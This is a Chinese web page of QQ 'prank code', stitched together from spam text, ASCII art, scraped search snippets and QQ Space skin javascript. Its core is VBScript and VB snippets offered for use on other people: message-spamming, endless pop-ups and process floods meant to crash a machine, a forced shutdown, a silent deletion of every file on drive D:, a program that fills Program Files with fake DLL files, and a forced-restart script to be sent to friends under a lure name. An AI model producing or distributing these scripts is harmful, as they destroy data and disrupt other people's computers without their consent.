代码大全可复制免费QQ聊天（代码恶搞大全可复制）

qq刷屏文字，可以直接复制！谢谢亲们╭(╯3╰)╮

┏┛┻━━━┛┻┓

┃｜｜｜｜｜｜｜┃

┃　━　┃

┃　┳┛　┗┳　┃ 围观是一种态度

┃　┃

┃　┻　┃

┃　┃ 围观是为了提高知名度

┗━┓　┏━┛

┃　┃

┃　┃

┃　┃　 　

┃　┃

┃　┗━━━┓

┃你妹与我同在　┣┓

┃围观专用宠物　┃

┗┓┓┏━┳┓┏┛

　┃┫┫　┃┫┫

　┗┻┛　┗┻┛

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

..飘过

...飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

......飘过

.....飘过

....飘过

...飘过

..飘过

.飘过

.飘过

.飘过

..飘过

...飘过

....飘过

.....飘过

......飘过

.......飘过

........飘过

........飘过

........飘过

........飘过

.......飘过

我要QQ聊天的恶搞代码

首先你在要建一个文本文档（在桌面点右键

--

新建

--

文本文档）把下面的你想要的代码复制

到文本文档

好

保存

把名字

txt

改成

vbs

就

OK

vbs

整人代码大集合

一、

你打开好友的聊天对话框

,

然后记下在你

QQ

里好友的昵称

,

把下面代码里的

xx

替换一下

,

就可以自定义发送

QQ

信息到好友的次数

(

代码里的数字

10

改一下即可

).

xx.vbs=

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("

与

xx

聊天中

")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

QQ

骚扰信息

,

也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

五、删除

D:\

所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "

哈哈

你被耍了！

"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

七、不断按下

alt+f4

（开什么都关闭„„）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

八、按

500

次回车

(

以上代码在运行者的电脑上显示

500

个对话框。其中

do until s=500

，

500

可以随意更改

)

-----------------------------------------------------------------------------

dim s

do until s=500

s=s+1

msgbox "

哥们，给我按

500

次回车吧

",64

loop

'------------------------ ------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

九、关不掉的窗口

------------------------------------------------------------------------------------

WScript.Echo("

嘿，谢谢你打开我哦，我等你很久

拉！

"TSName)

WScript.Echo("

你是可爱的小朋吗

?")

WScript.Echo("

哈

,

我想你拉，这你都不知道吗？

")

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

[color=#FF0000]

复制以这个代码，在桌面建一个文本，把代码放进去，另存为

VBS

格式，

此代码的威力：

1

：开机就强制自动关机

2

：

cmd

命令打不开

3

：结束任务不管用

4

：

F8

安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第

2

次保存的那个

VBE

文件，

，

PS

：不要乱拿软件去整人，发生什么事可不要怪我啊。

。

拍拍手

顶起吧！

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'

声明变量，其中“

count

”为静态变量，以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'

定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'

生成文件的内容

nr = "

哈哈，被黑的感觉的不错吧

"

files = FreeFile

'

如果

a

等于

a

那么就执行

If a = a Then

'count

不断的加

1

，以便产生不同的文件名

count = count + 1

'

产生文件名及文件句柄，并用

count

作为产生不同的文件名。

Open c "system" count ".dll" For Append As #files

'

向文件写内容

Write #files, nr

'

清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示

Close #files

End If

End Sub

手机QQ的整人代码大全

第一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个QQ炸弹，在30秒后会自动关机。

下面说一下使用方法：

最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

qq免费代码大全

QQ留言代码大全(6789QQ)是一个提供QQ空间留言代码为主的平台,摘录了大量网友提供的QQ空间个性留言代码,彩色留言代码,还有非主

qq免费代码大全：

qq免费代码大全免费哪儿有

QQ空间免费皮肤代码播放器导航2010大全素材X258

qq空间免费播放器代码,qq免费代码大全免费QQ空间免费皮肤代码,2010代码大全,QQ空间图片Flash素材模块,开场欢迎动画背景皮肤导航代码菜单播放器鼠标挂件花藤植物漂悬浮技巧自定义皮肤,免费

2009年最新QQ空间免费代码大全_QQ空间免费代码_QQ台

2009年最新QQ空间免费代码大全 QQ空间 QQ空间免费代码 时间：2009-01-22 在日记里面发表滚动的文字： 这里写上你想要的滚动字 QQ空间开场，欢迎

最新QQ空间免费代码大全_ QQ空间代码

6 个帖子-6 个作者-新贴子：2009年8月29日最新的QQ空间免费代码大全,qq免费代码大全免费下面的代码都可以免费使用！第一款免费播放器代码：javascrndowtopspace_addIt

获得更多结果

（推荐代码）经典免费邮箱登陆代码 手机吉凶查询、QQ吉凶查询免费代码 (新)笑话大全连接免费代码 (推荐)在线免费代码 (推荐)开奖公告信息免费代码

qq免费代码大全免费

http://google.com/bookmarks/url?url=//axmp.23di%0dan.c%0dom/m/kw/4170/1774184.html

qq在线交谈代码 输入网址即可对话

a target=blank href=tencent://message/?uin=492892158Site=自己Menu=yesimg border="0" SRC=http://wpa.qq.com/pa?p=1:492892158:1 alt="点击这里给我发消息"/a

将以上代码中的第2个"492892158"修改成你要说话的QQ号,

用用记事本另存为文件名.html的文件,打开,点那个图片就可以了

前提是,你必须开着QQ,对方必须开启临时会话(默认是开启的,除非他自己修改)

注意标点符号,那个点必须是英文符号

qq代码大全免费

免费QQ空间皮肤代码：

清秀水滴绿Qzoner版，淡绿色：新

javascript:window.top.space_addItem(1,10426,100,0,0,0,25);

QQ空间黑色皮肤，几乎全黑：

javascript:window.top.space_addItem(1,26498,80,0,0,0,93);

QQ空间黑色皮肤，有白色星光：

javascript:window.top.space_addItem(1,26497,80,80,0,0,93);

免费QQ空间黑色皮肤代码（心系四川汶川地震）：

javascript:window.top.space_addItem(1,26341,0,0,0,0,93);

免费QQ空间黑色皮肤代码

javascript:window.top.space_addItem(1,8669,50,80,0,0,93);

小窝式夕阳红色皮肤代码，可爱女生

javascript:window.top.space_addItem(1,6572,0,0,0,0,0);

小窝式天蓝色皮肤代码，可爱女生

javascript:window.top.space_addItem(1,6573,0,0,0,0,0);

小窝式灰色皮肤代码，可爱女生

javascript:window.top.space_addItem(1,6574,0,0,0,0,0);

小窝式黑色皮肤代码，可爱女生

javascript:window.top.space_addItem(1,6575,0,0,0,0,0);

小窝式灰黑色皮肤代码，可爱女生

javascript:window.top.space_addItem(1,6576,0,0,0,0,0);

玫瑰花皮肤代码

javascript:window.top.space_addItem(1,4693,0,80,0,0,94);

粉色皮肤代码

javascript:window.top.space_addItem(1,4693,0,80,0,0,93);

粉色皮肤代码，小窝模式皮肤

javascript:window.top.space_addItem(1,4693,0,80,0,0,20);

全蓝样式皮肤

javascript:window.top.space_addItem(1,15116,0,80,0,0,93);

全灰样式皮肤

javascript:window.top.space_addItem(1,10426,0,0,1,1,0);

右移全灰小窝

javascript:window.top.space_addItem(1,10426,200,80,0,0,20);

静悄悄

javascript:window.top.space_addItem(1,8669,100,80,100,100,94);

QQ空间免费皮肤使用方法：

一、登录你的QQ空间；

二、点“装扮空间”；

三、将以上QQ空间免费皮肤对应的代码粘贴到浏览器地址栏中（也就是输入网址那里）

四、在地址栏里按回车，如果没有出现物品，请多按几次；

五、点“保存装扮方案”，如果提示“无需保存”，请先随便移动一下模块位置，然后保存。